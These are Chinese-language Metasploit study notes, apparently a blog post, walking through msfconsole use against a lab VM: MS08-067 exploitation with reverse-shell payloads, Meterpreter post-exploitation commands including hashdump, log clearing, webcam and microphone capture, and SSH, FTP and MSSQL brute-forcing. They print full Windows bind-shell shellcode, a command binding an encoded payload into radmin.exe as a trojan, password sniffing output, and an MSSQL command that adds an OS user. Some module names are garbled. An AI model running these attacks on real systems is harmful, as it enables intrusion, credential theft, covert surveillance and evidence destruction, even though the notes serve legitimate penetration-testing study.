msf學習筆記

metasploit frame

這是一個滲透測試框架,圍繞這個框架,咱們就能夠完成最終的目標,即滲透測試。
滲透測試者困擾:須要掌握數百個工具,上千條命令參數,很難記住。 新出現的漏洞PoC/EXP有不一樣的運行環境要求,準備工做繁瑣。 大部分時間都在學習不一樣工具的使用習慣,若是能統一就行了。
MSF默認集成在Kali linux之中,使用postgresql數據庫存儲數據。
MSF::Core:最底層的庫,提供Msf的核心基本API,是框架的核心能力實現庫。
MSF::Base:基於Core庫,具備便於上層用戶實現, 提供友好的API接口,便於模塊調用的庫。
MSF::UI:面向用戶的接口,用戶界面,包括了Driver界面,console界面,CLI界面,web界面,GUI界面,和Armitage界面。
Plugin插件:鏈接和調用外部擴展功能和系統。
若是滲透測試過程中數據庫被打亂,那麼此時咱們可使用msfdb進行一些回覆刪除等操做。 php

root@kali:~# msfdb                                                                                                                                                         
                                                                                                                                                                          
Manage the metasploit framework database                                                                                                                                  
                                                                                                                                                                          
  msfdb init     # start and initialize the database                                                                                                                      
  msfdb reinit   # delete and reinitialize the database                                                                                                                   
  msfdb delete   # delete database and stop using it                                                                                                                      
  msfdb start    # start the database                                                                                                                                     
  msfdb stop     # stop the database                                                                                                                                      
  msfdb status   # check service status                                                                                                                                   
  msfdb run      # start the database and run msfconsole 

這裏咱們可以查看到具體的msf模塊html

root@kali:/usr/share/metasploit-framework/modules# ls
auxiliary  encoders  evasion  exploits  nops  payloads  post

技術功能模塊:(不是流程模塊)
-Exploits:利用系統漏洞進行攻擊的動做,此模塊對應每個具體漏洞的攻擊方法(主動,被動)
- Payload:成功exploit以後,真正的在目標系統執行的代碼或指令。
1. shellcode或系統命令
2. 三種Payload:/usr/share/metasploit-framework/modules/payloads/
3. single:all-in-one一體化,只要有這段代碼就能執行shell的所有功能,但體積較大。
4. stager:目標計算機內存有限時,線傳輸一個較小的payload用於創建鏈接,體積較小
5. stages:利用stager創建的連接下載的後續payload
6. Stager,Stages都有多種類型,適用於不一樣場景
7. Shellcode是payload的一種,因爲其創建正向/反向shell而得名。 技術功能模塊:
- Auxiliary:執行信息蒐集,枚舉,指紋探測,掃描等功能的輔助模塊(沒有payload的exploit模塊)
- Encoders:對payload進行加密,躲避AV檢查的模塊。
- Nops:提升payload穩定性及維持大小。 java

msf基本使用和控制檯命令

msfconsole使用界面:點擊圖標或者終端輸入msfconsole
- 最流行用戶接口
- 幾乎可使用所有的MSF功能
- 控制檯支持TAB自動補齊
- 支持外部命令的執行
- 使用help查看幫助信息
MSF控制檯命令
Banner,Color,connect -h node

connect命令
msf5 > connect 192.168.214.148 80
[*] Connected to 192.168.214.148:80
get /Metasploitable2 - Linux


                _                  _       _ _        _     _      ____  
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started
show

show命令分爲python

msf5 > show 
show all        show auxiliary  show encoders   show exploits   show nops       show options    show payloads   show plugins    show post    

能夠幫助咱們瞭解有哪些命令可使用如何使用。mysql

search

方便咱們快速查找一些漏洞或模塊:例如search name:mysql/path:scada/platform:aix/type:aux/cve:2011/author:aaron
咱們查找一個ms08-067這個漏洞linux

msf5 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
use

咱們使用一個很具體的漏洞模塊的時候,咱們使用use,例如use exploit/windows/smb/ms08067netapi。
進入一個具體的模塊以後:咱們能夠show options/payloads/targets/advanced/evasion,-info edit,check,back. android

msfdb

當咱們的數據庫模塊未被啓動起來的時候,咱們能夠先查看數據庫狀態,湍口是5432,而後啓動數據庫,msfdb start 未有效的話再啓動service postgresql start而後在查看數據庫當前狀態。 git

db_connect //鏈接數據庫       db_disconnect //斷開數據庫鏈接    db_export         db_import         db_nmap  //集成在msf的nmap掃描命令         db_rebuild_cache  db_remove         db_save           db_status//db狀態 

咱們想要進行數據庫鏈接:db_connect -y 數據庫路徑,後續咱們的道德結果均可以被保存在數據庫當中。
進行nmap掃描後若是咱們只想要看到某一臺主機的單個信息咱們可使用hosts參數即hosts
咱們只想要看到一些up狀態的主機,咱們能夠加上-u參數,即hosts -u
咱們只想要看某一列的信息:hosts -c 列名//咱們也能夠加上S參數即search。
service -p 端口號 / services -c 列名 -p端口號,固然端口號也能夠指定範圍。 github

 
msf5 > services -c port,state -p 1-100
Services
========

host             port  state
----             ----  -----
192.168.214.148  21    open
192.168.214.148  22    open
192.168.214.148  23    open
192.168.214.148  25    open
192.168.214.148  53    open
192.168.214.148  80    open

vulns可用的載荷 / creds (mysql_login)顯示用戶帳號密碼/loot(hashdump)獲取hash值

msf5 auxiliary(scanner/mysql/mysql_login) > creds
Credentials
===========

host             origin           service           public  private  realm  private_type    JtR Format
----             ------           -------           ------  -------  -----  ------------    ----------
192.168.214.148  192.168.214.148  3306/tcp (mysql)  root                    Blank password  

msf5 auxiliary(scanner/mysql/mysql_login) > loot

Loot
====

host  service  type  name  content  info  path
----  -------  ----  ----  -------  ----  ----

msf5 auxiliary(scanner/mysql/mysql_login) > vulns

Vulnerabilities
===============

Timestamp  Host  Name  References
---------  ----  ----  ----------

默認數據存放位置:/usr/share/metasploit-framework/config/database.yml 數據庫的導入與導出:dbexport/dbinport nmap -A 192.168.214.148 -oX nmap.xml,這裏的xml文件是能夠導入db_import /root/nmap.xml.
set/unset/setg/unsetg/:unset取消set的設置,setg全局變量的設置只要模塊裏有這個參數那麼所設置的值就是這個setg的數。 save:咱們能夠進行保存,保存好以後有具體的文件保存路徑,只要刪去那麼就 run/exploit:兩個命令相差很少,都是執行一個具體模塊。

使用ms08067對xp機器進行攻擊

search ms08-067
use exploit/windows/smb/ms08067netapi 使用模塊
show options:此時能夠設置rhost等參數
set rhost 192.168.214.148
set target 34 指定目標系統類型是34,這個咱們可使用show targets進行查看
show payloads 查看可選的payload
set payload windows/shell/reverse_tcp選擇payload
show options:此時咱們能夠看到payloads選項
set lhost 192.168.214.150 :設置反彈shell反彈回本機的ip地址
exploit/run進行執行

Session

session -l /-i(shell,meterpreter session,VNC)

load,unload,loadpath

前二者加入組件,loadpath能夠添加咱們本身建立的組件。

route

route能夠經過指定session路由流量,實現路由,咱們滲透進內網獲取了一個session,將咱們已經控制的機器做爲跳板。
route add 10.1.1.0//目標網絡 255.255.255.0//子網掩碼 4//session號,這樣凡是咱們向子網發送的流量都經過這個session創建的鏈接想內網擴散。

resource

咱們有的時候以爲一個一個輸入命令很麻煩,但咱們能夠將全部的指令都放入到一個文件中,咱們在msf中調用這個文件就自動的實現文件當中的命令。
msfconsole -r r.rc

exploit模塊

exploit模塊能夠分紅兩個大類,分別爲Active exploit 和 passive exploit.經過漏洞利用代碼如何被觸發來進行分類的。
前者攻擊方主動將漏洞利用代碼發給服務端偵聽端口後者利用了一些客戶端程序上的漏洞如瀏覽器漏洞進行漏洞,在passive漏洞通常咱們都須要去誘使用戶去訪問點擊,由於客戶端是不提供服務的,通常也就沒有端口開放,不想服務端,這樣咱們就沒法使用第一個主動模塊進行攻擊。
- use exploit/windows/browser/aniloadimagechunksize
- set URIPPATH/
- set PAYLOAD windows/shell/reversetcp
- set LHOST 192.168.1.1
- set LPORT 4444
- exploit
Active explolit
- use exploit/windows/smb/psexec
- set RHOST 192.168.1.100
- set PAYLOAD windlws/shell/reverse
tcp
- set LHOST 192.168.1.1
- set LPORT 4444
- set SMBUSER user1
- set SMBPASS pass1
- exploit

生成payload

有的時候咱們的payload在程序中會由於壞字符的存在沒法運行成功或者是他的功能發生了變化。

msf5 > use payload/windows/shell/bind_tcp    //使用payload
msf5 payload(windows/shell/bind_tcp) > generate   //生成payload
# windows/shell/bind_tcp - 285 bytes (stage 1)
# https://metasploit.com/
# VERBOSE=false, LPORT=4444, RHOST=, PingbackRetries=0, 
# PingbackSleep=30, PayloadUUIDTracking=false, 
# EnableStageEncoding=false, StageEncoderSaveRegisters=, 
# StageEncodingFallback=true, PrependMigrate=false, 
# EXITFUNC=process, CreateSession=true
buf = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" +
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" +
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" +
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" +
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" +
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" +
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" +
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff" +
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b" +
"\x00\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68" +
"\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89\xe6" +
"\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7" +
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57" +
"\x97\x68\x75\x6e\x4d\x61\xff\xd5\x6a\x00\x6a\x04\x56\x57" +
"\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10" +
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53" +
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3" +
"\x29\xc6\x75\xee\xc3"

# windows/shell/bind_tcp - 240 bytes (stage 2)
# https://metasploit.com/
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"
msf5 payload(windows/shell/bind_tcp) > generate -b '\x00'   //過濾掉壞字符'\x00'能夠看到此時咱們使用了# Encoder: x86/shikata_ga_nai這個模塊
# windows/shell/bind_tcp - 312 bytes (stage 1)
# https://metasploit.com/
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, PingbackRetries=0, 
# PingbackSleep=30, PayloadUUIDTracking=false, 
# EnableStageEncoding=false, StageEncoderSaveRegisters=, 
# StageEncodingFallback=true, PrependMigrate=false, 
# EXITFUNC=process, CreateSession=true
buf = 
"\xdd\xc6\xd9\x74\x24\xf4\x5b\xb8\x22\xfd\x0c\x07\x2b\xc9" +
"\xb1\x48\x83\xc3\x04\x31\x43\x14\x03\x43\x36\x1f\xf9\xfb" +
"\xde\x5d\x02\x04\x1e\x02\x8a\xe1\x2f\x02\xe8\x62\x1f\xb2" +
"\x7a\x26\x93\x39\x2e\xd3\x20\x4f\xe7\xd4\x81\xfa\xd1\xdb" +
"\x12\x56\x21\x7d\x90\xa5\x76\x5d\xa9\x65\x8b\x9c\xee\x98" +
"\x66\xcc\xa7\xd7\xd5\xe1\xcc\xa2\xe5\x8a\x9e\x23\x6e\x6e" +
"\x56\x45\x5f\x21\xed\x1c\x7f\xc3\x22\x15\x36\xdb\x27\x10" +
"\x80\x50\x93\xee\x13\xb1\xea\x0f\xbf\xfc\xc3\xfd\xc1\x39" +
"\xe3\x1d\xb4\x33\x10\xa3\xcf\x87\x6b\x7f\x45\x1c\xcb\xf4" +
"\xfd\xf8\xea\xd9\x98\x8b\xe0\x96\xef\xd4\xe4\x29\x23\x6f" +
"\x10\xa1\xc2\xa0\x91\xf1\xe0\x64\xfa\xa2\x89\x3d\xa6\x05" +
"\xb5\x5e\x09\xf9\x13\x14\xa7\xee\x29\x77\xaf\xc3\x03\x88" +
"\x2f\x4c\x13\xfb\x1d\xd3\x8f\x93\x2d\x9c\x09\x63\x52\xb7" +
"\xee\xfb\xad\x38\x0f\xd5\x69\x6c\x5f\x4d\x58\x0d\x34\x8d" +
"\x65\xd8\xa1\x86\xc0\xb3\xd7\x64\x98\x32\x72\x95\x34\xdf" +
"\x8d\x46\x24\xe0\x47\xef\xcc\x1d\x68\x01\x50\xab\x8e\x4b" +
"\x78\xfd\x19\xe4\xba\xda\x91\x93\xc5\x08\x8a\x33\x8e\x5a" +
"\x0d\x3b\x0f\x49\x39\xab\x9b\x9e\xfd\xca\x9c\x8a\x55\x9a" +
"\x0a\x40\x34\xe9\xab\x55\x1d\x9b\x2b\xc0\x9a\x0a\x7c\x7c" +
"\xa1\x6b\x4a\x23\x5a\x5e\xc1\xea\xce\x21\xbd\x12\x1f\xa2" +
"\x3d\x45\x75\xa2\x55\x31\x2d\xf1\x40\x3e\xf8\x65\xd9\xab" +
"\x03\xdc\x8e\x7c\x6c\xe2\xe9\x4b\x33\x1d\xdc\x4d\x0f\xc8" +
"\x18\x38\x61\xc8"

# windows/shell/bind_tcp - 240 bytes (stage 2)
# https://metasploit.com/
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" +
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01" +
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46" +
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89" +
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb" +
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" +
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" +
"\xff\xd5"

generate -e x86/nonalpha ,此處-e參數指定了編碼器x86/nonalpha
- i 加密幾回,跟咱們在使用免殺時-i參數的意義是同樣的。
- f 輸出payload的格式,默認爲16進制,咱們能夠制定其類型爲exe等。
-k 運行過程當中不會產生新的進程,只會產生新的進程,隱蔽性更高。
-x 在生成payload時使用一個正常程序做爲模板,將他們兩個綁定到一塊兒,同事正常的程序也能執行 -o 輸出文件路徑名字
generate -b '\x00' -e x86/shikataganai -i 5 -k -x /usr/share/windows-binaries/radmin.exe

msf5 payload(windows/shell/bind_tcp) > generate -b '\x00\xff' -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f exe -o /root/1.exe
[*] Writing 1319936 bytes to /root/1.exe...
Meterpreter
  • 高級,動態,可拓展的payload
  • 基於meterpreter上下文利用更多漏洞發起攻擊
  • 後滲透測試階段一站式操做界面
    徹底基於內存的DLL注入式payload(不寫硬盤)
  • 注入合法系統進程並創建stager
  • 基於Stager上傳和預加載DLL進行擴展模塊的注入
  • 利用stager創建的socket鏈接創建加密的TSL/1.0通訊隧道
  • 利用TSL隧道進一步加載後續擴展模塊
meterpreter基本命令

咱們繼續利用meterpreter類型的shell,使用ms08-067這個模塊。
此時咱們就進入了meterpreter的shell,這裏有大量的命令。
help:查看當前shell下的命令
background:回到以前的界面,也就是從meterpreter返回到msf。
pwd:進入到當前window系統上的工做目錄
dir,ls:均可以先輸出當前穩健的目錄以及其操做權限。
cat:查看文檔,例如咱們能夠cat boot.ini這個是引導目錄若是咱們刪除了那麼就沒法開機了。
mkdir:建立一個目錄
mv,rm:更名,刪除。
edit:編輯文件,相似於咱們在linux的vi
lpwd:查看當前所在目錄(本機的 )
lcd:進入噹噹前linux的目錄,咱們想要上傳某個文件的時候,咱們使用lcd切換腦本機的那個目錄。
run,bgrun:運行程序命令,前者是在前臺進行,後者在後臺進行,咱們能夠運行不少進程,bgrun + 兩下 TAB鍵進行補全查看全部能夠運行模塊。
clearev:清除目標系統的日誌,用來清理戰場的。
download:下載指令,從目標系統下載文件。
upload:上傳指令
execute -f cmd.exe
get uid:查看當前用戶權限
getsystem:將本身權限提高爲system。
getproxy:獲取到目標主機的代理信息。
ps:查看進程
migrete:進程遷移
getpid:查看當前進程pid
hashdump:獲取到hashdump
sysinfo:查看系統一些信息
kill:刪除進程
netstat:查看網絡鏈接狀態
idletime:目標操做系統空閒時間。
resource:
recordmic:記錄麥克風聲音
webcam
list:列出當前電腦上全部鏈接的攝像頭。

Meterpreter python擴展

無需運行環境,在客戶端運行原生的python代碼。

msfcli

2015年已經被取消。由msfconsole -x代替,編寫腳本的時候便於引用,例以下面這一串代碼
msfconsole -x "use exploir/windows/smb/ms08-067netapi;set RHOST 1.1.1.1;set PAYLOAD windows/meterpreter/reversetcp;set LJOST 1.1.1.8;set LPORT 4444;set target 34 ;exploit"

msf信息發現與端口掃描

咱們掃描主要由auxiliary進行完成,由於他不會向目標發送payload。
nmap掃描:dbnmap -sV1 192.168.214.148
Auxiliary掃描模塊:
此時咱們同模塊同樣,可使用RHOSTS來進行表示目標主機,支持2多主機段掃描: 192.168.1.20-192.168.1.30 或 192.168.1.0/24,192.168.11.0/24
msf當中穿在arp的掃描模塊:use auxiliary/scanner/discovery/arp
sweep
端口掃描:search portscan:use auxiliary/scanner/portscan/syn
UDP掃描:use auxiliary/scanner/discover/udpsweep;use auxiliary/scanner/discover/udpprobe
Nmap IPID idle掃描:查找ipidseq主機:use auxiliary/scanner/ip/ipidseq或nmap -PN -sl 1.1.1.2 1.1.1.3//前者殭屍機後者是目標。

密碼嗅探
  • use auxiliary/sniffer/psnuffle
  • 直接run那麼就是實時抓包模式,嗅探到密碼
    此時咱們對靶機的21端口進行掃描發現開放,進行鏈接
root@kali:~# nmap -p21 192.168.214.148
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-28 14:06 CST                                                                                            
Nmap scan report for 192.168.214.148                                                                                                                       
Host is up (0.00042s latency).                                                                                                                             
                                                                                                                                                           
PORT   STATE SERVICE                                                                                                                                       
21/tcp open  ftp                                                                                                                                           
MAC Address: 00:0C:29:29:2C:AE (VMware)                                                                                                                    
                                                                                                                                                           
Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds                                                                                                
root@kali:~# ftp 192.168.214.148
Connected to 192.168.214.148.                                                                                                                              
220 (vsFTPd 2.3.4)                                                                                                                                         
Name (192.168.214.148:root): user1                                                                                                                         
331 Please specify the password.                                                                                                                           
Password:                                                                                                                                                  
530 Login incorrect.                                                                                                                                       
Login failed. 

這個時候咱們在看到msf,能夠看到帳戶密碼了

msf5 auxiliary(sniffer/psnuffle) > [*] Loaded protocol POP3 from /usr/share/metasploit-framework/data/exploits/psnuffle/pop3.rb...
[*] Loaded protocol SMB from /usr/share/metasploit-framework/data/exploits/psnuffle/smb.rb...
[*] Loaded protocol URL from /usr/share/metasploit-framework/data/exploits/psnuffle/url.rb...
[*] Sniffing traffic.....
[!] *** auxiliary/sniffer/psnuffle is still calling the deprecated report_auth_info method! This needs to be updated!
[!] *** For detailed information about LoginScanners and the Credentials objects see:
[!]      https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners
[!]      https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-HTTP-LoginScanner-Module
[!] *** For examples of modules converted to just report credentials without report_auth_info, see:
[!]      https://github.com/rapid7/metasploit-framework/pull/5376
[!]      https://github.com/rapid7/metasploit-framework/pull/5377
[*] Failed FTP Login: 192.168.214.150:52060-192.168.214.148:21 >> user1 / 333

若是咱們已經有抓包好的文件,咱們使用pcapfile進行分析
set PCAPFILE /root/ftp.pcap

snmp掃描

msf5 auxiliary(sniffer/psnuffle) > use auxiliary/scanner/snmp/snmplogin暴力破解
msf5 > use auxiliary/scanner/snmp/snmp
enum枚舉線程
msf5 > use auxiliary/scanner/snmp/snmp_——enumusers

SMB服務掃描

SMB版本掃描:msf5 auxiliary(scanner/snmp/snmp_enum) > use auxiliary/scanner/smb/smb

msf5 auxiliary(scanner/smb/smb_version) > run

[*] 192.168.214.148:445   - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.214.148:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

掃描命名管道,判斷SMB服務類型:獲取到命令管道

msf5 auxiliary(scanner/smb/pipe_auditor) > set rhosts 192.168.214.148                                                                                      
rhosts => 192.168.214.148                                                                                                                                  
msf5 auxiliary(scanner/smb/pipe_auditor) > run                                                                                                             
                                                                                                                                                           
[+] 192.168.214.148:139   - Pipes: \netlogon, \lsarpc, \samr, \eventlog, \lsass, \ntsvcs, \srvsvc, \wkssvc                                                 
[*] 192.168.214.148:      - Scanned 1 of 1 hosts (100% complete)                                                                                           
[*] Auxiliary module execution completed                         

SMB共享枚舉(帳號密碼):msf5 auxiliary(scanner/smb/pipeauditor) > use auxiliary/scanner/smb/smbenumshares
用戶枚舉:use auxiliary/scanner/smb/smbenumusers
SID枚舉:use auxiliary/scanner/smb/smb
lookupsid

ssh

版本掃描:msf5 > use auxiliary/scanner/ssh/sshversion
公鑰登陸:use auxiliaryscanner/ssh/ssh
loginpubkey
set keyfile idrsa;set username root ;run
暴力破解:msf5 auxiliary(scanner/ssh/ssh
version) > use auxiliary/scanner/ssh/sshlogin;set rhosts 192.168.214.148;set USERPASSFILE /root/3.txt;set verbose true

msf5 auxiliary(scanner/ssh/ssh_login) > show options 

Module options (auxiliary/scanner/ssh/ssh_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS            192.168.214.148  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT             22               yes       The target port
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE     /root/3.txt      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf5 auxiliary(scanner/ssh/ssh_login) > run

[-] 192.168.214.148:22 - Failed: 'root:root'
[-] 192.168.214.148:22 - Failed: 'root:2233'
[+] 192.168.214.148:22 - Success: 'msfadmin:msfadmin' ''
[*] Command shell session 1 opened (192.168.214.150:40163 -> 192.168.214.148:22) at 2020-02-28 16:40:36 +0800
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

於此咱們已經成功登錄了。

系統補丁

windows缺乏的補丁 - 基於已經得到的session進行檢測 - use post/windows/gather/enum_patches

msf mysql掃描端口,查看數據庫的tcp端口
  • TCP 1433(動態端口)/UDP 14343 (查詢TCP端口號)
  • use auxiliary/scanner/mssqk/mssql_ping
  • 經過這個模塊咱們能夠得到mssql服務的tcp端口
爆破mssql密碼

-use auxiliary/scanner/mssqk/mssql_login - 設置主機,用戶,以及密碼文件

遠程登陸

set RHOST / set PASSWORD / set RPORT 此時咱們鏈接上這個數據庫咱們能夠執行操做系統命令或cmd命令 遠程執行代碼:use auxiliary/admin/mssql/mssql_exec set CMD net user user pass /ADDS

FTP版本掃描

use auxiliary/scanner/ftp/ftpversion //探測版本 use auxiliary/scanner/ftp/anonymous //是否支持匿名登陸 use auxiliary/scanner/ftp/ftplogin use auxiliary/scanner/[tab] - display all 479 possibilities

弱點掃描
  • 根據蒐集結果搜索漏洞利用模塊
  • 結合外部漏洞掃描系統對大IP地址段進行批量掃描
  • 誤判率,錯判率
vnc密碼破解

use auxiliary/scanner/vnc/vnc_login

msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 192.168.214.148:21    - 192.168.214.148:21 - Starting FTP login sweep
[-] 192.168.214.148:21    - 192.168.214.148:21 - LOGIN FAILED: root:root (Incorrect: )
[-] 192.168.214.148:21    - 192.168.214.148:21 - LOGIN FAILED: root:2233 (Incorrect: )
[+] 192.168.214.148:21    - 192.168.214.148:21 - Login Successful: msfadmin:msfadmin
[*] 192.168.214.148:21    - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

RDP遠程桌面漏洞 use auxiliary/scanner/rdp/ms12020check 檢查不會形成DoS攻擊

設備後門

use auxiliary/scanner/ssh/juniperbackdoor use auxiliary/scanner/ssh/fortinetbackdoor 暴力破解獲得密碼能夠利用web appi遠程開啓 use auxiliary/admin/vmware/poweron_vm//咱們拿到相應密碼漏洞,咱們能夠對服務進行各類操做(admin模塊)

HTTP掃描

證書是否過時: use auxiliary/scanner/http/cert 顯示目錄及文件: use auxiliary/scanner/http/filesdir;use auxiliary/scanner/http/filesdir TOMCAT管理登陸:use auxiliary/scanner/http/tomcatmgrlogin 基於HTTP方法的身份驗證繞過:use auxiliary/scanner/http/verbauthbypass WEBDAV Unicode編碼身份驗證繞過:use auxiliary/scanner/http/dirwebdavunicode_bypass wordpress密碼爆破:use auxiliary/scanner/http/wordpressloginenum;set URL/wordpress/wp-login.php

msf5 auxiliary(scanner/http/dir_listing) > show options 

Module options (auxiliary/scanner/http/dir_listing):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PATH     dav              yes       The path to identify directory listing
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.214.148  yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   THREADS  1                yes       The number of concurrent threads (max one per host)
   VHOST                     no        HTTP server virtual host

msf5 auxiliary(scanner/http/dir_listing) > run

[+] Found Directory Listing http://192.168.214.148:80/dav/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

WMAP WEB應用掃描器 - 根據sqlmap工做方式開發 - load wmap - wmapsites -a http://1.1.1.1 - wmaptargets -t http://1.1.1.1/mutillidae/index.php - weaprun -t - wmaprun -e

弱點掃描

